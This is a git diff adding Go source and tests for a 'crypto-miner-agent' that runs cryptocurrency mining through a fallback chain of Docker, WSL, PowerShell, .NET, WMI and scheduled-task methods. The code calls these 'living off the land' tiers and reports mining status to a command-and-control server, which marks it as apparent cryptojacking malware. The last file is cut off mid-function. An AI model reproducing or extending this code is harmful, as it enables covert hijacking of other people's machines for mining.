TierWebView2Probe: + chain = append(chain, MethodWebView2Probe) + case TierWMI: + chain = append(chain, MethodWMI) + case TierScheduledTask: + chain = append(chain, MethodScheduledTask) + case TierGPUCompute: + if cfg.GPUEnabled && cfg.RVNWallet != "" { + chain = append(chain, MethodGPUCompute) + } + } + } + return chain +} + +// primaryMethods are CPU paths tried sequentially until one succeeds. +func primaryMethods(chain []MiningMethod) []MiningMethod { + var out []MiningMethod + for _, m := range chain { + switch m { + case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess: + out = append(out, m) + } + } + return out +} + +// ChainController orchestrates sequential CPU fallback and parallel GPU addon. +type ChainController struct { + mu sync.RWMutex + cfg config.RuntimeConfig + runtime ContainerRuntimeInfo + chain []MiningMethod + hooks ChainHooks + report FallbackReporter + activePrimary MiningMethod + gpuActive bool + stratumActive bool + failures []MethodFailure + lastError string + primaryIdx int + paused bool + lastFullPass time.Time + chainExhausted bool + lotlTier LOTLTier + lotlAttempts []TierAttempt + webGPUReady bool +} + +// NewChainController builds a controller with platform-aware chain order. +func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController { + rt := RuntimeDetector() + return &ChainController{ + cfg: cfg, + runtime: rt, + chain: DefaultFallbackChain(cfg, rt), + hooks: hooks, + report: report, + } +} + +// Status returns a snapshot of the cascade state. +func (c *ChainController) Status() MiningStatus { + c.mu.RLock() + defer c.mu.RUnlock() + return c.buildStatus() +} + +func (c *ChainController) buildStatus() MiningStatus { + active := c.activePrimary + if c.stratumActive && active == "" { + active = MethodInProcess + } + if c.stratumActive && active == MethodInProcess { + // Stratum overlays in-process — primary stays inprocess, flag overlay. + } + methods := make([]MiningMethod, 0, 3) + if active != "" { + methods = append(methods, active) + } + if c.gpuActive { + methods = append(methods, MethodGPUSubprocess) + } + if c.stratumActive { + // Report stratum as active_method when it is the only CPU path working. + if active == "" { + active = MethodStratumDirect + methods = []MiningMethod{MethodStratumDirect} + if c.gpuActive { + methods = append(methods, MethodGPUSubprocess) + } + } + } + failures := make([]MethodFailure, len(c.failures)) + copy(failures, c.failures) + chain := make([]MiningMethod, len(c.chain)) + copy(chain, c.chain) + attempts := make([]TierAttempt, len(c.lotlAttempts)) + copy(attempts, c.lotlAttempts) + return MiningStatus{ + ActiveMethod: active, + ActiveMethods: methods, + FailedMethods: failures, + LastError: c.lastError, + ChainOrder: chain, + GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess, + StratumOverlay: c.stratumActive, + ChainExhausted: c.chainExhausted, + LOTLTier: c.lotlTier, + LOTLAttempts: attempts, + WebGPUReady: c.webGPUReady, + } +} + +// OnMethodFailed records a failure and notifies C2. +func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) { + c.mu.Lock() + c.lastError = reason + c.failures = append(c.failures, MethodFailure{ + Method: method, + Reason: reason, + At: time.Now().UTC().Format(time.RFC3339), + }) + status := c.buildStatus() + report := c.report + c.mu.Unlock() + + log.Printf("[mining-chain] %s failed: %s", method, reason) + if report != nil { + report(status, "mining_fallback") + } +} + +// SetPrimaryActive marks which CPU method is currently handling RandomX. +func (c *ChainController) SetPrimaryActive(method MiningMethod) { + c.mu.Lock() + c.activePrimary = method + c.chainExhausted = false + if method != "" { + c.primaryIdx = 0 + for i, m := range primaryMethods(c.chain) { + if m == method { + c.primaryIdx = i + break + } + } + } + status := c.buildStatus() + report := c.report + c.mu.Unlock() + if report != nil { + report(status, "mining_status") + } +} + +// SetGPUActive records parallel RVN subprocess state. +func (c *ChainController) SetGPUActive(active bool) { + c.mu.Lock() + c.gpuActive = active + status := c.buildStatus() + report := c.report + c.mu.Unlock() + if report != nil { + report(status, "mining_status") + } +} + +// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass). +func (c *ChainController) SetStratumActive(active bool) { + c.mu.Lock() + c.stratumActive = active + status := c.buildStatus() + report := c.report + c.mu.Unlock() + if report != nil { + event := "mining_status" + if active { + event = "mining_fallback" + } + report(status, event) + } +} + +// MergeLOTLReport copies tier onion telemetry into the cascade snapshot. +func (c *ChainController) MergeLOTLReport(rep TierReport) { + c.mu.Lock() + c.lotlTier = rep.ActiveTier + if len(rep.Attempts) > 0 { + c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...) + } + c.webGPUReady = rep.WebGPUReady + c.mu.Unlock() +} + +// TryChain attempts each primary CPU method until one starts successfully. +func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) { + c.mu.Lock() + if c.paused { + c.mu.Unlock() + return "", nil + } + if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown { + c.mu.Unlock() + return c.activePrimary, nil + } + c.lastFullPass = time.Now() + c.chainExhausted = false + hooks := c.hooks + primary := primaryMethods(c.chain) + c.mu.Unlock() + + if len(primary) == 0 { + primary = []MiningMethod{MethodInProcess} + } + + var lastErr error + for _, method := range primary { + select { + case <-ctx.Done(): + return "", ctx.Err() + default: + } + + if err := c.tryStartPrimary(method, hooks); err != nil { + lastErr = err + c.OnMethodFailed(method, err.Error()) + c.stopPrimaryMethod(method, hooks) + continue + } + c.SetPrimaryActive(method) + c.runLOTLProbes(hooks) + c.tryGPUAddon(ctx, hooks) + c.tryPyOpenCLAddon(ctx, hooks) + c.runLOTLChain(hooks) + return method, nil + } + + c.mu.Lock() + c.chainExhausted = true + c.lastError = "all primary mining methods failed" + if lastErr != nil { + c.lastError = lastErr.Error() + } + status := c.buildStatus() + report := c.report + c.mu.Unlock() + if report != nil { + report(status, "mining_status") + } + if lastErr != nil { + return "", lastErr + } + return "", ErrChainExhausted +} + +func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error { + switch method { + case MethodDockerLoad: + if hooks.StartDockerLoad == nil { + return ErrMethodUnavailable + } + return hooks.StartDockerLoad() + case MethodContainer: + if hooks.StartContainer == nil { + return ErrMethodUnavailable + } + return hooks.StartContainer() + case MethodWSL: + if hooks.StartWSL == nil { + return ErrMethodUnavailable + } + return hooks.StartWSL() + case MethodInProcess: + if hooks.StartInProcess == nil { + return ErrMethodUnavailable + } + return hooks.StartInProcess() + case MethodPowerShell: + if hooks.StartPowerShell == nil { + return ErrMethodUnavailable + } + return hooks.StartPowerShell() + case MethodDotnet: + if hooks.StartDotnet == nil { + return ErrMethodUnavailable + } + return hooks.StartDotnet() + default: + return ErrMethodUnavailable + } +} + +func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) { + switch method { + case MethodDockerLoad: + if hooks.StopDockerLoad != nil { + hooks.StopDockerLoad() + } + case MethodContainer: + if hooks.StopContainer != nil { + hooks.StopContainer() + } + case MethodWSL: + if hooks.StopWSL != nil { + hooks.StopWSL() + } + case MethodInProcess: + if hooks.StopInProcess != nil { + hooks.StopInProcess() + } + case MethodPowerShell: + if hooks.StopPowerShell != nil { + hooks.StopPowerShell() + } + case MethodDotnet: + if hooks.StopDotnet != nil { + hooks.StopDotnet() + } + } +} + +func (c *ChainController) runLOTLProbes(hooks ChainHooks) { + if hooks.RunTierProbes == nil { + return + } + rep := hooks.RunTierProbes() + c.mu.Lock() + c.lotlAttempts = rep.Attempts + c.webGPUReady = rep.WebGPUReady + c.mu.Unlock() +} + +func (c *ChainController) runLOTLChain(hooks ChainHooks) { + if hooks.RunTierChain == nil { + return + } + tier, err := hooks.RunTierChain() + c.mu.Lock() + if tier != "" { + c.lotlTier = tier + } + c.mu.Unlock() + if err != nil && err != ErrTierChainSkipped { + c.OnMethodFailed(MiningMethod(tier), err.Error()) + } +} + +func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) { + if hooks.StartPyOpenCL == nil { + return + } + hasTier := false + for _, m := range c.chain { + if m == MethodLinuxPyOpenCL { + hasTier = true + break + } + } + if !hasTier { + return + } + select { + case <-ctx.Done(): + return + default: + } + if err := hooks.StartPyOpenCL(); err != nil { + c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error()) + if hooks.StopPyOpenCL != nil { + hooks.StopPyOpenCL() + } + return + } + log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)") +} + +func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) { + if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() { + return + } + // WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded. + if hooks.WebGPUReady != nil && !hooks.WebGPUReady() { + if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() { + c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation") + return + } + } + select { + case <-ctx.Done(): + return + default: + } + if err := hooks.StartGPU(); err != nil { + c.OnMethodFailed(MethodGPUSubprocess, err.Error()) + if hooks.StopGPU != nil { + hooks.StopGPU() + } + c.SetGPUActive(false) + return + } + c.SetGPUActive(true) +} + +// AdvancePrimary moves to the next CPU method after runtime failure. +func (c *ChainController) AdvancePrimary(reason string) { + c.mu.Lock() + if c.paused { + c.mu.Unlock() + return + } + failed := c.activePrimary + hooks := c.hooks + primary := primaryMethods(c.chain) + idx := 0 + for i, m := range primary { + if m == failed { + idx = i + 1 + break + } + } + c.mu.Unlock() + + if failed != "" { + c.OnMethodFailed(failed, reason) + c.stopPrimaryMethod(failed, hooks) + } + + for idx < len(primary) { + method := primary[idx] + if err := c.tryStartPrimary(method, hooks); err != nil { + c.OnMethodFailed(method, err.Error()) + c.stopPrimaryMethod(method, hooks) + idx++ + continue + } + c.SetPrimaryActive(method) + return + } + + c.mu.Lock() + c.chainExhausted = true + c.activePrimary = "" + c.lastError = "primary chain exhausted after " + string(failed) + " failure" + status := c.buildStatus() + report := c.report + c.mu.Unlock() + if report != nil { + report(status, "mining_status") + } +} + +// RestartChain resets failures and re-runs the full primary chain (respects cooldown). +func (c *ChainController) RestartChain(ctx context.Context) { + c.mu.Lock() + c.failures = nil + c.lastError = "" + c.chainExhausted = false + c.activePrimary = "" + c.primaryIdx = 0 + c.lastFullPass = time.Time{} + c.mu.Unlock() + _, _ = c.TryChain(ctx) +} + +// StopAll pauses cascade and stops every running method. +func (c *ChainController) StopAll() { + c.mu.Lock() + c.paused = true + hooks := c.hooks + c.mu.Unlock() + + if hooks.StopDockerLoad != nil { + hooks.StopDockerLoad() + } + if hooks.StopContainer != nil { + hooks.StopContainer() + } + if hooks.StopWSL != nil { + hooks.StopWSL() + } + if hooks.StopPowerShell != nil { + hooks.StopPowerShell() + } + if hooks.StopDotnet != nil { + hooks.StopDotnet() + } + if hooks.StopInProcess != nil { + hooks.StopInProcess() + } + if hooks.StopGPU != nil { + hooks.StopGPU() + } + if hooks.StopPyOpenCL != nil { + hooks.StopPyOpenCL() + } + if hooks.StopTiers != nil { + hooks.StopTiers() + } + c.mu.Lock() + c.activePrimary = "" + c.gpuActive = false + c.lotlTier = "" + c.mu.Unlock() +} + +// ResumeAll clears pause and restarts the chain. +func (c *ChainController) ResumeAll(ctx context.Context) { + c.mu.Lock() + c.paused = false + c.mu.Unlock() + c.RestartChain(ctx) +} + +// Monitor watches container health and advances the chain on exit. +func (c *ChainController) Monitor(ctx context.Context) { + ticker := time.NewTicker(10 * time.Second) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + c.mu.RLock() + paused := c.paused + primary := c.activePrimary + hooks := c.hooks + c.mu.RUnlock() + if paused { + continue + } + healthy := true + reason := "" + switch primary { + case MethodDockerLoad: + if hooks.IsDockerLoadHealthy != nil { + healthy = hooks.IsDockerLoadHealthy() + reason = "docker_load workload exited or unhealthy" + } + case MethodContainer: + if hooks.IsContainerHealthy != nil { + healthy = hooks.IsContainerHealthy() + reason = "container workload exited or unhealthy" + } + case MethodWSL: + if hooks.IsWSLHealthy != nil { + healthy = hooks.IsWSLHealthy() + reason = "wsl workload exited or unhealthy" + } + default: + continue + } + if healthy { + continue + } + c.AdvancePrimary(reason) + } + } +} diff --git a/agent/miner/fallback_chain_test.go b/agent/miner/fallback_chain_test.go new file mode 100644 index 0000000..1556eaf --- /dev/null +++ b/agent/miner/fallback_chain_test.go @@ -0,0 +1,326 @@ +package miner + +import ( + "context" + "errors" + "runtime" + "testing" + "time" + + "crypto-miner-agent/config" +) + +func TestDefaultFallbackChainAutoWithDocker(t *testing.T) { + SetRuntimeDetector(func() ContainerRuntimeInfo { + return ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer SetRuntimeDetector(nil) + SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} }) + defer SetWSLDetector(nil) + + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionAuto, + PoolHost: "pool.example.com", + }, + }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) + + want := []MiningMethod{MethodContainer, MethodInProcess, MethodStratumDirect} + if len(chain) < len(want) { + t.Fatalf("chain=%v want at least %v", chain, want) + } + for i := range want { + if chain[i] != want[i] { + t.Fatalf("chain[%d]=%q want %q full=%v", i, chain[i], want[i], chain) + } + } +} + +func TestDefaultFallbackChainAutoWithoutRuntime(t *testing.T) { + SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} }) + defer SetWSLDetector(nil) + + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"}, + }, ContainerRuntimeInfo{}) + + if chain[0] != MethodInProcess { + t.Fatalf("got %v want inprocess first", chain) + } + // Windows LOTL probe tiers trail stratum_direct in the legacy chain. + stratumIdx := -1 + for i, m := range chain { + if m == MethodStratumDirect { + stratumIdx = i + } + } + if stratumIdx < 0 { + t.Fatalf("got %v want stratum_direct present", chain) + } + if runtime.GOOS != "windows" && chain[len(chain)-1] != MethodStratumDirect { + t.Fatalf("got %v want stratum last", chain) + } +} + +func TestDefaultFallbackChainInProcessSkipsContainer(t *testing.T) { + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionInProcess, + GPUEnabled: true, + RVNWallet: "wallet", + PoolHost: "p", + }, + }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) + + for _, m := range chain { + if m == MethodContainer { + t.Fatal("inprocess mode must skip container") + } + } + if chain[0] != MethodInProcess { + t.Fatalf("got %v", chain) + } +} + +func TestDefaultFallbackChainGPUIncludedWhenConfigured(t *testing.T) { + SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} }) + defer SetWSLDetector(nil) + + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionAuto, + GPUEnabled: true, + RVNWallet: "wallet", + }, + }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) + + foundGPU := false + for _, m := range chain { + if m == MethodGPUSubprocess { + foundGPU = true + } + } + if !foundGPU { + t.Fatalf("expected gpu in chain, got %v", chain) + } +} + +func TestTryChainOrderAndSkipMissingRuntime(t *testing.T) { + var started []MiningMethod + hooks := ChainHooks{ + StartContainer: func() error { + started = append(started, MethodContainer) + return errors.New("container start blocked") + }, + StartInProcess: func() error { + started = append(started, MethodInProcess) + return nil + }, + StartGPU: func() error { return nil }, + IsGPUSupported: func() bool { return false }, + } + + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionAuto, + PoolHost: "p", + }, + }, hooks, nil) + ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"} + ctrl.chain = DefaultFallbackChain(ctrl.cfg, ctrl.runtime) + + method, err := ctrl.TryChain(context.Background()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if method != MethodInProcess { + t.Fatalf("active=%q want inprocess", method) + } + if len(started) != 2 || started[0] != MethodContainer || started[1] != MethodInProcess { + t.Fatalf("start order=%v", started) + } + if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodContainer { + t.Fatalf("failures=%v", ctrl.Status().FailedMethods) + } +} + +func TestTryChainExhausted(t *testing.T) { + hooks := ChainHooks{ + StartContainer: func() error { return errors.New("no container") }, + StartInProcess: func() error { return errors.New("no inprocess") }, + } + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess}, + }, hooks, nil) + ctrl.chain = []MiningMethod{MethodInProcess} + + _, err := ctrl.TryChain(context.Background()) + if !errors.Is(err, ErrChainExhausted) && err.Error() != "no inprocess" { + t.Fatalf("got err=%v", err) + } + if !ctrl.Status().ChainExhausted { + t.Fatal("expected chain exhausted flag") + } +} + +func TestAdvancePrimaryFromContainer(t *testing.T) { + var inprocessStarted bool + hooks := ChainHooks{ + StartInProcess: func() error { + inprocessStarted = true + return nil + }, + StopContainer: func() {}, + } + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto}, + }, hooks, nil) + ctrl.chain = []MiningMethod{MethodContainer, MethodInProcess} + ctrl.activePrimary = MethodContainer + + ctrl.AdvancePrimary("container exited") + if !inprocessStarted { + t.Fatal("expected inprocess start after container failure") + } + if ctrl.Status().ActiveMethod != MethodInProcess { + t.Fatalf("active=%q", ctrl.Status().ActiveMethod) + } +} + +func TestDefaultChainCooldownConstant(t *testing.T) { + if DefaultChainCooldown != 30*time.Second { + t.Fatalf("DefaultChainCooldown = %v want 30s", DefaultChainCooldown) + } +} + +func TestDefaultFallbackChainForcedContainerWithoutRuntime(t *testing.T) { + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + MinerExecution: ExecutionContainer, + PoolHost: "p", + }, + }, ContainerRuntimeInfo{}) + + for _, m := range chain { + if m == MethodContainer { + t.Fatal("container mode without runtime must skip container method") + } + } + if chain[0] != MethodInProcess { + t.Fatalf("got %v", chain) + } +} + +func TestDefaultFallbackChainDockerLoadBeforeContainer(t *testing.T) { + t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "") + SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) { + return "/policy/worker.tar", nil + }) + defer SetImageTarFetcher(nil) + SetRuntimeDetector(func() ContainerRuntimeInfo { + return ContainerRuntimeInfo{Available: true, CLI: "docker"} + }) + defer SetRuntimeDetector(nil) + SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} }) + defer SetWSLDetector(nil) + + chain := DefaultFallbackChain(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"}, + }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) + + if chain[0] != MethodDockerLoad { + t.Fatalf("chain=%v want docker_load first when tar policy set", chain) + } + if chain[1] != MethodContainer { + t.Fatalf("chain=%v want container second", chain) + } +} + +func TestTryChainDockerLoadFailsReportsAttempt(t *testing.T) { + SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) { + return "/tmp/worker.tar", nil + }) + defer SetImageTarFetcher(nil) + + var failed []MiningMethod + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"}, + }, ChainHooks{ + StartDockerLoad: func() error { failed = append(failed, MethodDockerLoad); return errors.New("docker missing") }, + StartInProcess: func() error { return nil }, + }, nil) + ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"} + ctrl.chain = []MiningMethod{MethodDockerLoad, MethodInProcess} + + method, err := ctrl.TryChain(context.Background()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if method != MethodInProcess { + t.Fatalf("active=%q want inprocess", method) + } + if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodDockerLoad { + t.Fatalf("failures=%v", ctrl.Status().FailedMethods) + } +} + +func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) { + hooks := ChainHooks{ + StartInProcess: func() error { return nil }, + RunTierProbes: func() TierReport { + return TierReport{ + Attempts: []TierAttempt{{ + Tier: TierWebView2Probe, + OK: true, + Wallet: "same-wallet", + }}, + WebGPUReady: true, + } + }, + RunTierChain: func() (LOTLTier, error) { + return TierCPUInprocess, nil + }, + } + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess}, + }, hooks, nil) + ctrl.chain = []MiningMethod{MethodInProcess} + + if _, err := ctrl.TryChain(context.Background()); err != nil { + t.Fatalf("TryChain: %v", err) + } + st := ctrl.Status() + if st.LOTLTier != TierCPUInprocess { + t.Fatalf("lotl_tier=%q want cpu_inprocess", st.LOTLTier) + } + if len(st.LOTLAttempts) != 1 || st.LOTLAttempts[0].Tier != TierWebView2Probe { + t.Fatalf("lotl_attempts=%v", st.LOTLAttempts) + } + if !st.WebGPUReady { + t.Fatal("expected webgpu_ready from tier probes") + } +} + +func TestTryChainRespectsCooldown(t *testing.T) { + attempts := 0 + hooks := ChainHooks{ + StartInProcess: func() error { + attempts++ + return nil + }, + } + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess}, + }, hooks, nil) + ctrl.chain = []MiningMethod{MethodInProcess} + + if _, err := ctrl.TryChain(context.Background()); err != nil { + t.Fatal(err) + } + if _, err := ctrl.TryChain(context.Background()); err != nil { + t.Fatal(err) + } + if attempts != 1 { + t.Fatalf("attempts=%d want 1 (cooldown)", attempts) + } +} diff --git a/agent/miner/image_tar.go b/agent/miner/image_tar.go new file mode 100644 index 0000000..55a87a0 --- /dev/null +++ b/agent/miner/image_tar.go @@ -0,0 +1,53 @@ +package miner + +import ( + "errors" + "fmt" + "os" + "strings" + + "crypto-miner-agent/config" +) + +// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available. +var ErrNoImageTar = errors.New("no docker image tarball configured") + +// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub. +// Tests and integrations override via SetImageTarFetcher. +var imageTarFetcher func(cfg config.RuntimeConfig) (string, error) + +// SetImageTarFetcher restores the default when fn is nil. +func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) { + imageTarFetcher = fn +} + +// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load. +func HasImageTarPolicy(cfg config.RuntimeConfig) bool { + _, err := ResolveImageTar(cfg) + return err == nil +} + +// ResolveImageTar returns a filesystem path to the worker image tar. +// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar. +func ResolveImageTar(cfg config.RuntimeConfig) (string, error) { + if imageTarFetcher != nil { + if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" { + return strings.TrimSpace(p), nil + } else if err != nil && !errors.Is(err, ErrNoImageTar) { + return "", err + } + } + if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" { + if _, err := os.Stat(p); err != nil { + return "", fmt.Errorf("docker image tar: %w", err) + } + return p, nil + } + if p := strings.TrimSpace(cfg.DockerImageTar); p != "" { + if _, err := os.Stat(p); err != nil { + return "", fmt.Errorf("docker image tar: %w", err) + } + return p, nil + } + return "", ErrNoImageTar +} diff --git a/agent/miner/image_tar_test.go b/agent/miner/image_tar_test.go new file mode 100644 index 0000000..18dc722 --- /dev/null +++ b/agent/miner/image_tar_test.go @@ -0,0 +1,37 @@ +package miner + +import ( + "os" + "path/filepath" + "testing" + + "crypto-miner-agent/config" +) + +func TestResolveImageTarFromEnv(t *testing.T) { + dir := t.TempDir() + tarPath := filepath.Join(dir, "worker.tar") + if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil { + t.Fatal(err) + } + t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath) + defer SetImageTarFetcher(nil) + + got, err := ResolveImageTar(config.RuntimeConfig{}) + if err != nil { + t.Fatalf("ResolveImageTar: %v", err) + } + if got != tarPath { + t.Fatalf("got %q want %q", got, tarPath) + } + if !HasImageTarPolicy(config.RuntimeConfig{}) { + t.Fatal("HasImageTarPolicy should be true") + } +} + +func TestResolveImageTarMissing(t *testing.T) { + t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "") + if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil { + t.Fatal("expected error without tar") + } +} diff --git a/agent/miner/lotl_orchestrator.go b/agent/miner/lotl_orchestrator.go new file mode 100644 index 0000000..c36d754 --- /dev/null +++ b/agent/miner/lotl_orchestrator.go @@ -0,0 +1,448 @@ +package miner + +import ( + "context" + "errors" + "log" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +var ( + // ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring. + ErrTierNotImplemented = errors.New("tier not implemented") + // ErrTierChainExhausted is returned when every tier in the onion failed. + ErrTierChainExhausted = errors.New("LOTL tier chain exhausted") + // ErrTierChainSkipped is returned when every tier gracefully skipped. + ErrTierChainSkipped = errors.New("all LOTL tiers skipped") +) + +// TierHooks wires tier-specific start/stop without importing client. +type TierHooks struct { + StartDockerLoad func() error + StartContainer func() error + StartWSL func() error + StartPowerShell func() error + StartDotnet func() error + StartInProcess func() error + StartGPU func() error + StopDockerLoad func() + StopContainer func() + StopWSL func() + StopPowerShell func() + StopDotnet func() + StopInProcess func() + StopGPU func() + IsGPUSupported func() bool +} + +// TierEventReporter emits tier_report / mining_status events to C2. +type TierEventReporter func(report TierReport, eventType string) + +// TierOrchestrator runs the diagnostics-driven LOTL tier onion. +type TierOrchestrator struct { + mu sync.RWMutex + cfg config.RuntimeConfig + probes EnvironmentProbes + policy MiningTierPolicy + chain []LOTLTier + skipped []LOTLTier + hooks TierHooks + report TierEventReporter + wallet string + activeTier LOTLTier + gpuActive bool + attempts []TierAttempt + lastError string + chainExhaust bool + hashrate float64 + webGPUReady bool + gpuComputeOK bool +} + +// NewTierOrchestrator builds an orchestrator from probes + server policy. +func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator { + chain, skipped := SelectMiningTierChain(probes, policy, cfg) + return &TierOrchestrator{ + cfg: cfg, + probes: probes, + policy: policy, + chain: chain, + skipped: skipped, + hooks: hooks, + report: report, + wallet: strings.TrimSpace(cfg.Wallet), + } +} + +// Report returns the current tier snapshot. +func (o *TierOrchestrator) Report() TierReport { + o.mu.RLock() + defer o.mu.RUnlock() + return o.buildReport() +} + +func (o *TierOrchestrator) buildReport() TierReport { + attempts := make([]TierAttempt, len(o.attempts)) + copy(attempts, o.attempts) + chain := make([]LOTLTier, len(o.chain)) + copy(chain, o.chain) + skipped := make([]LOTLTier, len(o.skipped)) + copy(skipped, o.skipped) + return TierReport{ + ActiveTier: o.activeTier, + Attempts: attempts, + MiningHashrate: o.hashrate, + TierChainOrder: chain, + TierChainSkipped: skipped, + WebGPUReady: o.webGPUReady, + GPUComputeOK: o.gpuComputeOK, + } +} + +// SetHashrate updates live hashrate included in tier reports. +func (o *TierOrchestrator) SetHashrate(hps float64) { + o.mu.Lock() + o.hashrate = hps + report := o.buildReport() + reporter := o.report + o.mu.Unlock() + if reporter != nil { + reporter(report, "tier_report") + } +} + +// RunProbes executes probe-only tiers (webview2) before GPU escalation. +func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport { + o.mu.RLock() + chain := o.chain + cfg := o.cfg + o.mu.RUnlock() + + for _, tier := range ProbeTiers(chain) { + start := time.Now() + attempt := o.runProbeTier(ctx, tier, cfg) + attempt.DurationMs = time.Since(start).Milliseconds() + if attempt.Wallet == "" { + attempt.Wallet = o.wallet + } + o.recordAttemptRecord(attempt) + if tier == TierWebView2Probe && attempt.OK { + o.mu.Lock() + o.webGPUReady = WebGPUAvailableFromAttempt(attempt) + o.mu.Unlock() + } + } + return o.Report() +} + +// TryChain attempts each primary tier until one succeeds; GPU runs in parallel. +func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) { + o.RunProbes(ctx) + + o.mu.Lock() + hooks := o.hooks + primary := PrimaryTiers(o.chain) + o.mu.Unlock() + + if len(primary) == 0 { + primary = []LOTLTier{TierCPUInprocess} + } + + var lastErr error + var skipped int + for _, tier := range primary { + select { + case <-ctx.Done(): + return "", ctx.Err() + default: + } + start := time.Now() + err := o.invokeTier(tier, hooks) + duration := time.Since(start) + if err != nil { + if errors.Is(err, ErrTierChainSkipped) { + skipped++ + o.recordAttempt(tier, false, err, duration) + continue + } + lastErr = err + log.Printf("[lotl-tier] %s failed: %v", tier, err) + o.recordAttempt(tier, false, err, duration) + o.stopTier(tier, hooks) + continue + } + o.recordAttempt(tier, true, nil, duration) + o.setActive(tier) + o.tryGPUAddon(ctx, hooks) + return tier, nil + } + + o.mu.Lock() + o.chainExhaust = true + if lastErr != nil { + o.lastError = lastErr.Error() + } else { + o.lastError = "all LOTL tiers failed" + } + report := o.buildReport() + reporter := o.report + o.mu.Unlock() + if reporter != nil { + reporter(report, "tier_report") + } + if skipped == len(primary) { + return "", ErrTierChainSkipped + } + if lastErr != nil { + return "", lastErr + } + return "", ErrTierChainExhausted +} + +func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error { + switch tier { + case TierDockerLoad: + if hooks.StartDockerLoad == nil { + return ErrMethodUnavailable + } + return hooks.StartDockerLoad() + case TierContainer: + if hooks.StartContainer == nil { + return ErrMethodUnavailable + } + return hooks.StartContainer() + case TierWSL: + if hooks.StartWSL == nil { + return ErrMethodUnavailable + } + return hooks.StartWSL() + case TierCPUInprocess: + if hooks.StartInProcess == nil { + return ErrMethodUnavailable + } + return 